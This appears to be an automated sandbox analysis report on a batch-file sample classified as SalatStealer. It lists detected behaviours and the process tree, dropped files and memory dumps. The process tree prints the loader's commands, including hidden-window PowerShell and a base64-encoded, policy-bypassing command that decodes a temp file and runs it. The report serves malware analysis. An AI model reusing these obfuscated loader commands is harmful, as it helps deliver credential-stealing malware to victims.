Analysis
- max time kernel
150s - max time network
133s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
30/10/2026, 05:48
General
- Target service.bat
- Size 4.6MB
- Sample261030-ghrmvsaz2q
- SHA256 ccf930f3e22305704eb46e81e6b5d76c024caacc7f347856d51a2811a559427c
Malware Config
Signatures
- Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
- Detect SalatStealer payload 5 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 2 IoCs
- UPX packed file 8 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 4 IoCs
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 3 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\service.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoP -NonI -W Hidden -c "$p=$env:LCBAT; Start-Process -WindowStyle Hidden -FilePath $env:ComSpec -ArgumentList @('/c',([char]34+$p+[char]34),'h')"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\service.bat" h3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoP -NonI -W Hidden -Exec Bypass -e "JABmAD0AWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAAUABhAHQAaAAoACkAKwAnAGwAYwBfADMANQA0ADgAXwAxADcAOAA5ADIAMQA4ADMAOAA4ADgANAA4ADAAMQA3ADIAMAAwAC4AbAA2ADQAJwA7ACQAdAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAGYAKQAtAHIAZQBwAGwAYQBjAGUAJwBbAFwAcgBcAG4AXQAnACwAJwAnADsAaQBlAHgAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAKQApACkA"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zzrsi2n0\zzrsi2n0.cmdline"5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8E22.tmp" "c:\Users\Admin\AppData\Local\Temp\zzrsi2n0\CSCC9343C8F34A443D8BA69375526BE1C5B.TMP"6⤵
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C:\Users\Admin\AppData\Local\Temp\p_f56afb08-b206-43c7-8d6d-c053a4463905.exe"C:\Users\Admin\AppData\Local\Temp\p_f56afb08-b206-43c7-8d6d-c053a4463905.exe"5⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Program Files (x86)\Reference Assemblies\TextInputHost.exe"C:\Program Files (x86)\Reference Assemblies\TextInputHost.exe"6⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
powershell.exe.log
StartupProfileData-NonInteractive
RES8E22.tmp
__PSScriptPolicyTest_cga4bpm4.5gq.ps1
lc_3548_1789218388848017200.b64
lc_3548_1789218388848017200.b64
lc_3548_1789218388848017200.l64
p_f56afb08-b206-43c7-8d6d-c053a4463905.exe
zzrsi2n0.dll
CSCC9343C8F34A443D8BA69375526BE1C5B.TMP
zzrsi2n0.0.cs
zzrsi2n0.cmdline
memory/1808-847-0x0000000000500000-0x0000000001155000-memory.dmp
memory/1808-849-0x0000000000500000-0x0000000001155000-memory.dmp
memory/1808-850-0x0000000000500000-0x0000000001155000-memory.dmp
memory/1808-851-0x0000000000500000-0x0000000001155000-memory.dmp
memory/1808-858-0x0000000000500000-0x0000000001155000-memory.dmp
memory/1912-814-0x0000021CC93F0000-0x0000021CC9400000-memory.dmp
memory/1912-815-0x0000021CC93F0000-0x0000021CC9400000-memory.dmp
memory/1912-837-0x0000021CC93E0000-0x0000021CC93E8000-memory.dmp
memory/3572-857-0x0000000000960000-0x00000000015B5000-memory.dmp
memory/3572-860-0x0000000000960000-0x00000000015B5000-memory.dmp
memory/4472-9-0x000001F2ECC50000-0x000001F2ECC72000-memory.dmp
memory/4472-0-0x000001F2EA3E0000-0x000001F2EA3F0000-memory.dmp
memory/4472-1-0x000001F2EA3E0000-0x000001F2EA3F0000-memory.dmp